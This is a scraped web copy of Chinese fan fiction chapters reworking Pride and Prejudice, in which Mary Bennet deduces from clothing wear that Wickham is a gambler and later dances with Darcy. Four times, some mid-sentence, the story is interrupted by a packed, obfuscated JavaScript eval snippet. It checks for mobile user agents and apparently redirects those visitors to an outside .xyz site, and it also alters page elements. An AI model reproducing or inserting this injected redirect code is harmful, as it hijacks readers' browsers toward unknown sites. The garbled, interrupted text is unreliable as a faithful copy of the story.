玛丽叹了口气:“好吧,你知道的,我没办法拒绝你莉齐。” 这个家里玛丽和伊丽莎白的关系最好,简更像是家里姐妹的另一个母亲,她温柔大方,对姐妹们充满包容和耐心,几乎弥补了一切班纳特太太缺失的部分,但是对玛丽来说,伊丽莎白是那个从小就会陪伴她的姐姐,她理解也尊重玛丽各种奇怪的性格癖好,会支持玛丽的理想,对玛丽来说,伊丽莎白就是她最好的姐姐。 将手里的书本放下,玛丽随便换了一身衣服就和姐妹们一起出门了。 柯林斯表哥正在楼下等待着,看到几位姐妹们打扮之后的样子他将每个人都打量了一番:“要知道弗迪斯布道集中说过,淑女们不可过于追求装扮,和外在的华服相比,淑女们更应该修炼自己的内心,做一个内心高尚的人。” 玛丽看了几个姐妹,大家都是很普通的打扮,怎么都说不上是华服,如果非要说,也就是莉迪亚和凯蒂的红色外套亮眼了一点。 莉迪亚以为这位柯林斯表哥在说她,皱着眉头就要说回去,玛丽按住莉迪亚的肩膀:“哇哦,您的这番真知灼见真是发人深省,那请问内心如此高尚的柯林斯表哥,您身上这件几乎要50英镑的牧师服以及马六甲白藤镀金手杖是什么?您高尚内心的外在表现?哦,这个手杖似乎是二手的,我没看错的话,侧面的名字是……爱德华·德·包尔,看来是那位慷慨大方的凯瑟琳·德·包尔夫人给您的,不知道您是不是也对夫人发表过如此高论?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749136|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从来都是被玛丽压一头的莉迪亚头一次觉得玛丽那“显而易见”的能力真是棒极了,玛丽看穿了这位柯林斯表哥的虚伪,对就是虚伪,莉迪亚可不觉得玛丽会乱说,这个柯林斯表哥自己都在用好布料制作黑色长袍,手杖竟然用镀金的,还是二手的,如果他不虚伪,为什么要用别人的手杖,他自己买不起么? 柯林斯想不到自己会被这么讽刺,竟然一时之间不知道说什么,还是简站了出来说要尽快出发,否则赶不上中午去菲利普姨妈家里吃饭了。 一路上只要柯林斯说出什么让人难以忍受的话玛丽就从各种角度讽刺回去,以至于到了后半程这位柯林斯表哥都不敢开口了。 伊丽莎白看了眼板着脸故作凶恶的玛丽,捏了捏她的手,悄悄的冲玛丽眨了眨眼:“干得好玛丽!” 简在旁边也笑了起来。 莉迪亚和凯蒂平日里总是跑在最前面,但是今天却老老实实跟在后面看热闹。莉迪亚虽然闹腾,但是有一种小动物的机敏,她知道今天的玛丽可谓是火力全开,她可有的热闹看了。 柯林斯表哥闭嘴之后玛丽也不再多说什么,一路上沉默着倒也气氛平静。 到了梅里囤之后凯蒂拉着莉迪亚跑去帽子商店门口,她看到了一顶新的帽子,玛丽在后面百无聊赖。 莉迪亚可不想看帽子,而且这顶凯蒂看好的帽子她觉得很一般,她想找丹尼玩。 丹尼是她现在最喜欢的红制服军官,就算不问世事如玛丽都知道丹尼的存在,连续好几次舞会莉迪亚都是和丹尼跳舞。 莉迪亚忽然看到不远处的丹尼,喊了一声,简小声的告诫莉迪亚,不要在外面大喊大叫,这很丢人。 丹尼旁边还有一个男人,凯蒂好奇的看了一眼:“那是谁?” 莉迪亚:“不知道。” 凯蒂:“他看上去帅极了。” 莉迪亚:“哦,他要是穿上红制服的话说不定我还会多看两眼,我觉得不穿红制服的男人都平平无奇。” 玛丽不解的看了一眼莉迪亚:“那你为什么不干脆自己做一件红制服放家里,还能天天看。” 莉迪亚气的嘟着嘴翻了个白眼:“我和你这个书呆子可说不通!” 凯蒂又询问伊丽莎白:“莉齐,他是不是特别帅。” 说话间丹尼带着那位男士走了过来。 莉迪亚兴奋极了:“多有趣啊,我以为你们还在城里呢!” 丹尼也笑了起来:“城里可没什么值得我们留恋的,对了请让我为你们介绍,我的好友,乔治·维克汉姆” 几人互相介绍一番之后伊丽莎白率先开口:“维克汉姆先生是来此度假访友么?” 维克汉姆:“很荣幸,我已在福斯特上校的军队任职,所以会在此过冬。” 莉迪亚一听这话多看了两眼这位维克汉姆先生:“那您什么时候会去定制红制服?要我说您如果穿上红制服一定好看极了。” 丹尼故作嫉妒的样子:“我敢说到时候他一定神气十足,出类拔萃,是吧维克汉姆?” 莉迪亚忽然开口邀请维克汉姆晚上一起来参加菲利普姨妈家里。 玛丽无聊的四处张望,却看到了不远处骑马而来的两人。 宾利和达西先生。 达西也看到了玛丽。 两人互相对视了一眼,玛丽率先移开了视线,转而伸手戳了戳简:“简,宾利先生来了。” 18. 第 18 章 宾利先生很快来到几人面前,跳下马之后宾利走到了女孩们的面前,但是他的一双眼睛只看着简:“真巧,我正向去朗伯恩探望您,我是说,希望您已经恢复健康了班纳特小姐。。” 简害羞的低下头,又强迫自己抬头露出微笑:“您真慷慨先生,如您所见我已经痊愈了。” 宾利先生和简说话的时候玛丽发现维克汉姆和达西两人正在对视,达西先生似乎很不高兴,甚至说得上愤怒。 玛丽有些好奇,虽然对达西先生没什么好印象,毕竟他又高傲,又木讷,甚至还说过伊丽莎白的坏话,什么受别人冷落的小姐,她的姐姐可不是什么受人冷落的小姐,伊丽莎白是她最好的姐姐。 就凭这句话玛丽对达西先生的观感就着实一般。 但是对于平日里很是木讷的达西先生难得表露的愤怒,玛丽倒是有了几分兴趣。 玛丽开始看向这位维克汉姆,想要拆解出他如此受达西先生讨厌的原因。 外套虽然干净,看上去材质不错,但是领口和衣服下摆略有拆线的线头,看得出是经过缝补的,而且不是手艺很好的那种裁缝,可能是洗衣妇缝补的。 靴子皮质已经陈旧,虽然做了保养但是依然看得出经历过一番风霜,手里的手杖材质更是一般,帽子边缘有蜡烛液的残留,是住在一个没有煤油灯的旅馆?看来经济状况很紧张。 手套略大,不像是他本人的,领巾末端露出的一小部分似乎是……花瓣的刺绣,应该是女士赠送。 赠送领巾一定是很亲密的关系,手套的遮掩下都看得出指关节有些粗,外套两个袖子的部分,左手的手肘比有手肘的磨损更多一点,右小臂的衣服下半部分要比左边小臂磨损更多。 而且中衣物磨损最常出现在一类人身上——赌徒,左手持牌,右手壁在牌桌上摩擦摸牌,只有这样才会形成如此特殊的衣物磨损特征。 达西一言不发骑马准备离开,宾利见状也赶紧和简告别。 晚餐的时候姨妈已经准备好了招待,莉迪亚和凯蒂叽叽喳喳的和军官们玩闹,玛丽陪着伊丽莎白还有简以及姨妈,柯林斯表哥又开始他的阿谀奉承,直言姨妈家的客厅让他想起了罗新斯的夏季早餐间。 虽然菲利普姨夫并不是什么有钱人,但是菲利普姨妈却自认为家里还是不错的,听到柯林斯竟然将自家客厅比作别人家的早餐厅很是生气。 还是简帮他解了围,说罗新斯庄园是一座非常宏伟的庄园,而庄园的主人是一位贵族女士,凯瑟琳·德·包尔夫人。 能和贵族夫人家里相比,姨妈的心里立刻转变了态度。 对话终于回到了自己的舒适区,柯林斯表哥和菲利普姨妈热烈的讨论起来。 为了表达自己的热情,菲利普姨妈邀请柯林斯一起坐下打打牌。 柯林斯面露谦卑之色:“我不得不承认自己对此类游戏知之甚少夫人,不过我愿意学习,能陪伴您这样的夫人是我的荣幸,只要我美丽的表妹愿意放我离去……” 说到这里的时候柯林斯竟然靠近了伊丽莎白,玛丽直接一脚踩在了柯林斯的脚背上,露出一点都不抱歉的神色:“真是抱歉表哥,我没注意您往前走了一步。” 伊丽莎白:“哦真是抱歉,不过您自可放心离去。” 柯林斯看出玛丽似乎并不喜欢他,但是为了展现自己的大度却开口邀请了玛丽:“不知道玛丽表妹是否愿意赏光,和我们一起玩一玩。” 菲利普姨妈赶紧拦住:“不不不,不用,不用玛丽。” 柯林斯表哥有些不解,但是菲利普姨妈也不能和他解释玛丽在打牌这件事上几乎作弊的能力。 幸好玛丽今晚就是为了保护伊丽莎白而来,对打牌并没什么兴趣。 菲利普姨妈飞快的拽走了柯林斯,天知道她和菲利普先生两个人加起来都没打过玛丽! 客厅里人来人往,但是维克汉姆却绕过人群走向了伊丽莎白:“哦,不得不说,我觉得我永远逃不脱您妹妹们的手心了。” 玛丽知道他是在说舞会时莉迪亚和凯蒂一直缠着维克汉姆陪她跳舞,天知道她们俩哪里来的那么多劲头跳舞。 伊丽莎白和玛丽坐在角落的桌子,维克汉姆顺势坐了下来。 似乎被维克汉姆的话逗笑了,伊丽莎白看了眼莉迪亚:“她们有时候很粘人,特别是莉迪亚。” 维克汉姆:“但是她们都是讨人喜欢的姑娘,我觉得赫特福德郡真是个好地方,这里的人都好极了。” 伊丽莎白:“哦是的,这里人都是朴实又善良的好人。” 维克汉姆:“当然,当然,我颇受大家的照顾,不过今晚我似乎并没有看见宾利先生和他的朋友,我以为他们也会受邀前来?” 伊丽莎白:“我想大概是宾利先生的某些朋友会认为这里很掉价吧。” 维克汉姆:“哦,是吗……说起来您认识达西先生很久了么?” 伊丽莎白:“嗯……大约一个月?” 玛丽在旁边听着两人的对话,不着痕迹的看着这位维克汉姆先生。 他的动作,行为,甚至因为随着他靠近,而逐渐可以闻见的气味。 手指甲和鬓边的头发刚刚修剪过,衣服是发放的红制服,但是并不是定制的,一般低级(如少尉、中尉)或经济条件一般的军官,需按规定购买或接受发放的基础制服,新人入伍时,也会提供 “制式外套”(如猩红色羊毛外套,配白色翻领和金属纽扣),但配件(如帽子、佩剑、腰带)可能需自费购买。 显然这位维克汉姆先生的衣服是发放的基础款,衣服有很多细节的磨损,未经修补,不知道经过多少人的手了,领口,袖口都不合身,白色翻领的颜色都有些轻微发黄,纽扣侧面的边缘有磨损,帽子,佩剑,腰带都没有,可见他并没有多余的资金用来购买这些配件。 右手的手掌侧面有一些划伤的细微伤口,没有带着手套的手掌指关节暴露出来 ,确实比一般人要粗大一些,右手挥舞之间露出的指腹部分,食指拇指略可以看到略有薄茧,而左手的拇指也是和食指也是这样的情况,这显然是一双长期泡在牌桌上摸牌的手。 玛丽在观察他的时候,维克汉姆倒是引出了话题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749137|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我和他倒是认识许久了,我们儿时是玩伴……不过……” 说到这里,维克汉姆开始长吁短叹,似乎有无尽直言,但是欲言又止。 果然伊丽莎白追问道:“不过什么?” 维克汉姆看了一眼伊丽莎白:“诶,本来此事不该由我说出口,不过您是一个亲切的小姐,我愿意掏心掏肺的与您坦诚交流,或许您已经注意到我们打招呼时的冷淡……诶,您和达西先生很熟悉么?” 伊丽莎白完全被维克汉姆坦诚的态度说服了,而且这位维克汉姆先生满面愁容,眼睛里都是忧伤和犹豫:“我们认识,不过并不相熟,想必整个梅里囤都没人和他相熟,他是那么的傲慢。” 维克汉姆似乎很震惊:“哦?我以为他会在这里大受欢迎,毕竟……诶,不过我赞同您的观点。” 伊丽莎白:“怎么会呢,他在赫特福德郡一点都不受欢迎,人人都讨厌他的傲慢。” 随着两人的交谈,玛丽始终觉得有一种奇怪之处,但是这一丝奇怪之处很难琢磨。 随着维克汉姆靠近,他说出了一段往事,他的父亲是一个管家,而达西先生的父亲则是他的教父,他的父亲去世后,达西先生之父对他颇为关照。 “老达西先生是那么的关照我,爱护我,我相信他是作为一个父亲一样爱我的,他几乎把我当做他的亲生儿子一般,那时候我正在大学读书,老达西先生曾多次告诉我,他有意让我就任德比郡的牧师一职,能够任神职一直都是我的梦想,特别是这份梦想还是如同父亲一般的老达西先生安排与我的。” 说道这里维克汉姆看上去非常怀念和感伤,紧接着话锋一转:“但是老达西先生死后这一切都成了空话,儿子拒绝履行父亲的诺言……所以我只能如你所见,自己出来找点事做做,找条路闯一闯了。” 伊丽莎白非常震惊:“天哪,我真是想不到,达西先生的品德竟然败坏如此!” 玛丽忽然开口问道:“为什么呢?区区一个神职对他来说并不重要吧?为什么要为难你?” 维克汉姆看玛丽似乎年纪不大,只当她是小女孩义愤填膺:“诶,可能是嫉妒吧,老达西先生对我太好了,以至于让他作为亲生儿子都嫉妒了。” 伊丽莎白才是真的义愤填膺:“他竟然用如此恶毒的手段来报复一个无辜的人,这种事就应该公开出来,让他被狠狠的羞辱一番!” 维克汉姆倒是安慰起伊丽莎白:“好了小姐,您也不比过于生气,事情都过去了,或许有一天他会受到惩罚,但不该由我来这样做,看在老达西先生的份上,我永远不会揭发反抗他的。” 玛丽按住伊丽莎白的手:“可是先生,我有一点很好奇。” 维克汉姆和伊丽莎白都转过头看向玛丽,作为玛丽的姐姐,伊丽莎白立刻就看出了玛丽眼神里透出的锋芒。 虽然玛丽看上去在微笑,但是恐怕接下来所说的话,任何人都不会笑出来。 玛丽:“您现在和我们在说的是什么呢?您不是正在和素未谋面,并不熟悉的陌生人,揭发达西先生所谓的恶毒手段么?” 19. 第 19 章 维克汉姆被玛丽这句话说的哑口无言,不论他的言辞多么恳切,多么婉转,伪装的多么无辜,可是他在做的事情就是和他说的话不符啊。 恰好这时候莉迪亚拯救了维克汉姆先生,她拽着维克汉姆去跳舞,远离了玛丽和伊丽莎白。 走过人群到舞厅,莉迪亚背对着她们,可是维克汉姆却看的清清楚楚,那位玛丽·班纳特小姐可是一直在看着他的。 从上到下,用一种让人很不舒服,很冰冷的眼神,冷漠的仿佛一把冰刀,划破了他伪装的谎言,刺进他虚伪的心脏。 晚上回到家里,伊丽莎白拉着玛丽和简说着这件事。 简不敢置信:“我真不敢相信,达西先生看上去并不像是会愧对父亲诺言的人,不会用这么有悖于教义的方式为人行事,而且……而且,想想吧宾利先生作为他最亲密的朋友,如果达西先生是这样的人,宾利先生怎么会被他骗过去呢?” 玛丽坐在一边慢悠悠的梳着头:“恕我直言,我的两位姐姐,第一,宾利先生确实看上去很容易受骗,他看上去就傻乎乎的……哦,莉齐!” 说到一半玛丽就被伊丽莎白捏住了脸颊,只能含含糊糊的道歉:“好吧好吧,我不说宾利先生了,我继续说第二条,相比于我们并不熟悉的达西先生,恐怕这位维克汉姆先生更不可信,他看上去是个十足的赌棍。” 简闻言立刻做到玛丽的旁边:“真的么,玛丽?你是否是听到了什么传言?” 就连伊丽莎白都松开了捏着玛丽的手:“一整晚我都和你在一起,你从哪里听来的消息?” 玛丽揉了揉脸颊:“观察,观察,我的姐姐们,只需要你们稍稍注意观察一下,就能看出这显而易见的事实。” 为了避免再次被伊丽莎白捏住自己的脸,玛丽迅速将自己观察所得到的信息全都说了出来:“这些线索和细节都指向了一件事,他是个十足的赌徒,甚至我怀疑他很可能是欠了大笔赌债,跑到这里来躲债的。而且最显而易见的一件事,如果他真的不愿意揭发达西先生,为什么要和我们说呢,莉齐,想想看吧,咱们和他可是第一次认识,对一个刚认识的陌生女性诉说这些?他可真是可笑。” 伊丽莎白和简都很相信玛丽,那么这位维克汉姆先生可就一定是坏人了。 玛丽转头看向伊丽莎白:“你喜欢那位维克汉姆先生么?毕竟他的长相还是很受女孩子们欢迎的。” 伊丽莎白:“玛丽,我不喜欢他!” 玛丽:“好吧,我还以为你挺喜欢他的,今晚你听他说那些话的时候似乎还挺生气。” 伊丽莎白:“我是对达西先生这些行为感到生气,不过现在看来,达西先生似乎是无辜的。” 玛丽梳完了头准备回房间睡觉了,今晚如果不是莉齐非要她作证,而且看上去莉齐似乎对那位维克汉姆有一些好感,玛丽可压根不在乎他是不是赌棍,毕竟这和她们家也没关系。 这番谈话过了两周之后内瑟菲尔德又发来了邀请函,邀请她们参加舞会。 距离玛丽离开朗伯恩也不到一周时间,这几天的玛丽更多时间都是在休息室和姐妹们待在一起,虽然她觉得莉迪亚有点吵闹,但是玛丽还是希望和家里人多呆一段时间。 越是临近离别,越是舍不得家人们。 收到邀请函的时候玛丽正在沙发上看书,最近伦敦新出了许多刊物,上面还有一些新的研究消息。 不只是班纳特一家,就连柯林斯表哥都受到了邀请。 伊丽莎白颇为倒霉的被柯林斯预定了两支舞! 舞会前一天的下午,玛丽本来在休息室里呆的好好地,柯林斯表哥又围绕在伊丽莎白旁边献殷勤,门口却传来消息,三位军官前来拜访。 估计是莉迪亚和妈妈说过,邀请来家里玩的。 莉迪亚和凯蒂早就跑去门口了,柯林斯顺势邀请伊丽莎白出去走一走,散散步,伊丽莎白二话不说就拽着玛丽要一起散步。 “玛丽,你也该和我一起走一走,别整天看书了,出来和我一起呼吸呼吸新鲜空气。” 柯林斯表哥也只能看着伊丽莎白挽着玛丽的手臂相携出门。 玛丽无奈的被伊丽莎白带着,一路上两人被迫听柯林斯一次又一次关于凯瑟琳夫人壁炉的夸赞。 是的,足足八百英镑的壁炉架,可太值得夸赞了。 本来应该简陪着伊丽莎白,可是宾利小姐早上来信邀请简去内瑟菲尔德了,只留下伊丽莎白和玛丽一起受苦。 三人走了一会,柯林斯表哥多番言语和眼神示意玛丽应该聪明点自己去找点乐子,给他和伊丽莎白一点二人世界。 玛丽只当自己是个聋子,瞎子,什么都听不见,也看不见,更遑论伊丽莎白可是狠狠的拽着她的胳膊呢。 就这样伊丽莎白走在中间,玛丽和柯林斯走在她的两边,三个人走了大半个花园,维克汉姆本来在和莉迪亚他们玩闹,这时候却走了过来。 这位维克汉姆先生似乎对伊丽莎白颇有好感,竟然完全不顾上次玛丽给他的难堪再次凑了上来。 伊丽莎白和玛丽对视一眼,玛丽似笑非笑。 果不其然,伊丽莎白稍稍将话题引向宾利先生之后,维克汉姆又开始诉说起达西先生的虚伪。 “哦,是的,对于有价值的人,达西先生会有选择的表露善意,在和他有同等财富地位的人面前,他思想开明,风度翩翩,非常讨人喜欢。” 玛丽忍不住开口:“您确定是那位达西先生?风度翩翩?讨人喜欢?” 伊丽莎白都觉得这话可笑极了。 达西先生或许品德要比一个赌棍好,但是他在赫特福德郡的那些行事作风可称不上风度翩翩,讨人喜欢。 玛丽实在是有些不想听下去他那些没头脑的话了,捏了捏伊丽莎白的胳膊:“莉齐,我想回去看书了。” 伊丽莎白顺势表达告别之意,柯林斯一直跟在后面,伊丽莎白和柯林斯说话的时候还看到维克汉姆和另外两个红制服,三个人在莉迪亚以及凯蒂旁边似乎在说什么,莉迪亚被逗得放声大笑。 两人上楼之后伊丽莎白拽着玛丽:“我们是不是该告诉爸爸,让他管管莉迪亚,至少离那个维克汉姆远一点。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749138|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >玛丽:“嗯……莉迪亚似乎还挺喜欢他的,不过要我说,莉迪亚可没多少钱,哪怕这个维克汉姆要借钱赌博,莉迪亚也没钱借给他,就当他是个画报?莉迪亚欣赏欣赏,都不用花钱。” 伊丽莎白不知道该怎么和玛丽说,玛丽有时候很聪明,但是对待男女之事上一窍不通,她似乎也不明白这个世道对待一个女性的要求是多么严苛。 一旦行差踏错,名声就完了,而且不只是自己的,她的姐妹们,家族,都会因此蒙羞。可是玛丽始终只是觉得这些东西很无聊,她可以背下整本淑女礼仪指导,却不会做其中任何一件要求她做的事情,玛丽从来都只会听从自己的心,自己的大脑。 对玛丽来说,莉迪亚喜欢看维克汉姆的脸,这没什么大不了的,就当他是一个行走的画报罢了,甚至莉迪亚都不需要支付一便士的花费,而且莉迪亚和他玩的很开心,莉迪亚也没什么钱,不会有什么经济损失的。 可是伊丽莎白不同,她得考虑家里其他女孩的名声。 玛丽不懂,所以伊丽莎白决定还是自己和爸爸去说一说吧。 第二天晚上才开始舞会,但是下午的时候班纳特太太就忙活起来了。 她几个房间来回查看,确保所有女孩们都要漂漂亮亮的出席舞会。 当然了,玛丽的房间她没有进去,毕竟谁都不想碰到什么危险麻烦的东西。 等到所有人顺利收拾完上了马车,班纳特太太又开始嘀嘀咕咕玛丽:“你的礼服就那么几件,今天我在房间门口看到你收拾衣服了,你最好收拾几件漂亮的衣服出来,一个女孩子竟然不喜欢漂亮衣服,真是奇怪。” 玛丽没有说什么,默默的玩着自己的扇子,这是班纳特太太硬塞给她的,说她衣服不够漂亮,长得也普通,再没有一柄好看的扇子那可太丢人了。 几个姐妹里,莉迪亚和简都是顶漂亮的女孩,莉齐也很漂亮,就连凯蒂的衣服都比玛丽好看。 玛丽不想和班纳特太太争论什么,顺手接过了扇子,就连莉迪亚看到玛丽的扇子漂亮,想要抢过去都被班纳特太太阻止了。 进入庄园屋内,宾利先生和她的两位姐妹以及达西先生都在门口。 宾利小姐和简热情的打了个招呼,但是玛丽觉得她的言辞和笑容都让人不舒服。 一行人一边打招呼一边进入宴会厅,玛丽走在最后面,简和伊丽莎白已经挽着宾利先生入场,莉迪亚和凯蒂也跑进去宴会厅找红制服玩了。 达西看着落在人群后的玛丽:“晚上好,玛丽小姐。” 玛丽捏着手里的扇子:“哦,晚上好达西先生。” 客套的招呼说完,玛丽准备进屋找个角落待着,达西先生又开口:“和您的家人问安,祝您的家人身体健康。” 玛丽愣了一下,看了眼莫名其妙的达西先生:“先生,如果我的记忆没出错,您刚刚亲自和我的爸爸妈妈们打过招呼了?” 三秒,最多五秒之前,达西先生才和班纳特先生握过手! 就这样还要再次问安么? 玛丽看向达西,真是一个莫名其妙的先生啊? 20. 第 20 章 达西内心懊悔,他想了半天,自己该怎么说话,该如何赞美她,但是踌躇了半天,只说出一句和家人的问安。 特别是玛丽之后询问他的话,真是让人尴尬。 至少达西先生觉得很尴尬。 憋了半天,达西先生最终也只是默默伸出臂膀,玛丽看出他的邀请,虽然莫名其妙但是依然伸出手挽住了他的胳膊。 达西原本想带玛丽去找个稍微不那么拥挤的地方,他看得出来玛丽并不怎么喜欢舞会。 可是玛丽并不是一个听从他人命令的女孩,看到伊丽莎白之后玛丽直接拽着达西就走了过去,伊丽莎白出门前可是千万拜托了玛丽,一定不要让她落单。 简和宾利先生早已步入舞池,玛丽不能弃伊丽莎白于不顾。 达西只感觉到胳膊上拉扯的力量,下意识的顺着玛丽拉扯走了过去。 伊丽莎白正在和一个红制服说话:“班纳特小姐,我是代我的朋友维克汉姆先生来转告您,他不能来参加舞会真是深感遗憾。” 听到这个名字,玛丽明显感觉到达西先生手臂都紧绷了一些。 玛丽看向丹尼:“丹尼,你来梅里囤多久了?” 丹尼想了想:“大约快三个月了?” 玛丽:“啊,那您和那位维克汉姆先生很熟么?认识多久了?” 丹尼:“倒是没多久,但是维克汉姆是个讨人喜欢的小伙子,可不像是某些高高在上的先生……” 话虽然没说完,但是他撇向达西的眼神很不友好,任谁来看都知道他所说的人是谁 玛丽:“我可不知道您还有和满口谎言的赌棍做好友的爱好。” 丹尼:“什么?” 达西也惊讶的看着玛丽。 玛丽似乎只是在闲聊:“赌棍啊,他可是个十足的赌棍。真是让人好奇,您怎么会和他做朋友的,您借他钱了么?” 听道这里丹尼下意识摇摇头:“倒是没有,但是……但是他看上去……” 回想起维克汉姆在营地里和大家打牌玩的时候,似乎确实输了一些钱,可是也没听说欠钱不还的事啊?而且好端端的,这位班纳特小姐为什么会这么肯定的说维克汉姆是个满口谎言的赌棍? 玛丽:“或许您可以去梅里囤打听打听,这位维克汉姆先生有没有在什么地方欠下一些钱,昨天他前来拜访的时候我看到他的口袋似乎露出了当票的一角。” 达西和这位丹尼都说不出话了。 乐队一曲结束,响起了欢快的节奏,莉迪亚和凯蒂跑了过来:“丹尼,我们去跳舞吧。” 柯林斯表哥也不知道从哪里冒了出来,想要邀请伊丽莎白去跳舞。 随着两人的离开,此地只剩下玛丽和达西先生。 达西先生看向玛丽:“你是如何得知他是……” 玛丽打断道:“显而易见先生,这不是很明显么。” 达西并不清楚从何而来的显而易见,毕竟他见识过很多被维克汉姆欺骗过的人,就连他也曾是其中之一。 玛丽百无聊赖的看着周围的人,准备顺势松开达西先生的臂膀去找个无人之处待着。 达西先生却一脸严肃与郑重的伸出手:“如果您接下来没事,不知道我能否有荣幸邀请您跳开场舞呢?” 玛丽:“哦,我没事,不过还请允许我拒绝,对不起达西先生,我并不喜欢也并不想跳舞,如果您想跳舞,自可去寻找合适的舞伴。” 说完就点头示意,然后转身离开。 达西愣在了原地,怎么都没想过自己会被拒绝。 玛丽完全没有心里障碍,在玛丽看来拒绝跳舞可太正常了。 这么多年下来,她参加舞会跳舞的次数屈指可数,任何人都知道,朗伯恩的玛丽·班纳特小姐不喜欢跳舞。 找了个比较显眼的角落位置站着,玛丽在等待伊丽莎白受苦结束。 是的,显然伊丽莎白在受苦,她脸上的笑容都快挂不住了,柯林斯表哥似乎还在滔滔不绝的说着什么。 班纳特先生不知道从哪里走了过来:“不跳个舞么,玛丽?” 玛丽用扇子遮住脸,只从侧面给班纳特先生看到自己撇嘴不耐烦的神色:“爸爸你知道的,我可不喜欢跳舞。” 班纳特先生笑了起来:“去吧玛丽,去跳个舞吧,就当在离开朗伯恩之前的快乐回忆?” 玛丽:“我并不觉得跳舞算什么快乐回忆。” 班纳特先生:“哦,亲爱的,我是说你不情不愿跳舞的模样,会成为我的快乐回忆。” 玛丽欲言又止,最后无奈叹气:“好吧,我会满足我亲爱父亲的小小恶趣味。” 在场的绅士们几乎都有了舞伴,玛丽径直去找了达西先生。 此刻达西正在角落里黯然神伤,他不明白为什么玛丽会如此不留情的拒绝自己。 “达西先生。” 玛丽走到达西的面前,一双眼睛很是坦诚的看向他,既不为刚才的拒绝感到尴尬,也不为接下来的话感到害羞:“接下来有空么,不知道我能不能邀请您跳一支舞。” 她直白的说出自己的需求,毫不顾忌自己十分钟前才拒绝了达西先生的邀请。 达西倒是愣了愣:“哦,当然,是的,非常荣幸。” 现在轮到达西有些摸不着头脑了,是自己做了什么吗,所以玛丽小姐回心转意了?还是发生了什么? 不论达西如何感到奇怪,开始跳舞之后倒是立刻进入了状态。 玛丽一般一眼的跳着欢快的舞曲,脸上的表情倒是不像跳舞,像是在受刑。 莉迪亚在看到玛丽走进女士队伍的时候就立刻和别人换了位置,跑到玛丽旁边。 “你竟然来跳舞了玛丽?上帝啊,今天太阳是从西边升起的么?” 莉迪亚发誓,她从小到大,都没见过比玛丽更不爱跳舞的女孩。 看向玛丽的舞伴,竟然是一脸严肃的达西先生。 此刻两人都板着脸,仿佛在面对什么很严肃的问题一般。 莉迪亚撇撇嘴:“原来你喜欢这样板着脸的舞伴。” 达西先生似乎想要说什么,但是玛丽却瞥了一眼莉迪亚:“妈妈给了你5英镑的零花钱,藏在卧室油画后面了,对么。” 凯蒂在旁边听到了:“我听到了!莉迪亚,晚上回家你必须分我一半!” 莉迪亚:“不,我不,那是妈妈给我的!” 两个姐妹小声的吵起来,一边的玛丽却忍不住扯起嘴角笑了笑。 达西很好奇玛丽说的这些话:“您是怎么?还有关于那位……” 玛丽看了眼达西先生:“他可是在到处说您的坏话,当然了,如果您不在乎这件事,那就当我没说吧。” 达西没有追问维克汉姆说了什么坏话,猜都猜得到,但是达西不知道怎么和玛丽解释这件事。 舞会结束,大家坐下来开始吃吃喝喝的交流起来。 宾利小姐走到伊丽莎白身边:“听说您对乔治·维克汉姆先生颇有好感。” 伊丽莎白有些奇怪:“恐怕您多虑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749139|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾利小姐,我与维克汉姆先生只是见过几面,可算不上……颇有好感。” 玛丽在一边吃着面包,宾利小姐看着玛丽嘴角的面包碎屑还有鼓起的脸颊皱起了眉头,怎么?班纳特家是吃不起面包了? 事实上玛丽真的饿了,后知后觉的想起来自己午餐没有吃,晚上还跳了舞,上帝作证,玛丽在结束一曲之后是多么崇拜莉迪亚,她只是跳一支舞都已经很累了,莉迪亚竟然可以跳一晚上! 宾利小姐看着玛丽:“看来玛丽小姐似乎胃口很好。” 玛丽懒得搭理宾利小姐,天知道她为什么说话总是夹枪带棒的,真是个奇怪的女人,如果不讨人喜欢是一项能力,那她在这件事上倒是颇有天赋。 一整场晚宴结束,达西目睹班纳特太太是如何高谈阔论,仿佛下一秒简就会成为内瑟菲尔德的女主人,班纳特家的两个小姑娘一直在和红制服们打打闹闹,毫无淑女的体面。 这样的家庭让他内心焦灼,忍不住想要说些什么。 